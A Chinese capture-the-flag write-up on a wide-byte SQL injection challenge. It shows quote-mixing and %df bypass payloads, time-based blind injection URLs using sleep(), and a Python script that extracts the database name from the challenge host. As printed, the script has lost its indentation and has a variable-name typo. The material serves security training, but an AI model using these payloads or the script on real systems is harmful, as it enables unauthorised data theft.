0x00题目:
your sql:select id,title from news where id = '1'
here is the information
0x01以前的题解是使用%df加上单引号,通过宽字节注入。另外#被转移,故使用%23代替#绕过。
但是今天我做的时候,发现另一个payload也可以:
payload: 1’',此处第一个单引号是中文的 ‘,第二个单引号是英文的 ' 页面返回如下:
可以看到单引号没有被转义,因此可以通过中文单引号构造payload
我比较喜欢使用延时注入,无论有无回显都能用,缺点是耗时长。
查数据库长度:
index.php?id=1‘'||if((length(database()))=1,sleep(5),2);%23
爆出来数据库长度14.
然后爆数据库名:
‘sae-chinalover’
0x02
此处给出爆数据库名的python3脚本:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import time
#get型时间盲注
def http_blindTime_get(url,payload):
#记录发包时间
starttime = time.time()
result = requests.get(url+payload)
#记录收包时间
endtime = time.time()
if(endtime-starttime<3):
return False
else:
return True
#get方式获取数据库名,攻击载荷需修改函数变量构造
def getDatabaseName(url):
#先获取数据库长度,推测不会长于16个字符,故range 0,10
#逻辑为当数据库长度正确时使数据库休眠5秒,故当收发包时间差大于3s时break
batabaselength = 0
for i in range(0, 15):
payload = "index.php?id=1‘%27||if((length(database()))="+str(i)+",sleep(5),2);%23"
if http_blindTime_get(url,payload):
databaselength = i
break
print('数据库名长度:',str(databaselength))
if databaselength==0:
return False
else:
#获取的数据库长度不为0,表明成功获取数据库长度,爆数据库名
databasename=""
for i in range(1,databaselength+1):
for j in range(1, 128):
payload = "index.php?id=%df' or if((ascii(substr((select database()),"+str(i)+",1))="+str(j)+"),sleep(5),0);%23"
if(http_blindTime_get(url, payload)):
databasename += chr(j)
break
print('数据库名:', str(databasename))
return databasename
def main():
url="http://chinalover.sinaapp.com/SQL-GBK/"
getDatabaseName(url)
if __name__ == '__main__':
main()
其余表名、字段名及flag同上可爆出来。
效果如图:
当然,本题还有其他办法。直接使用union select即可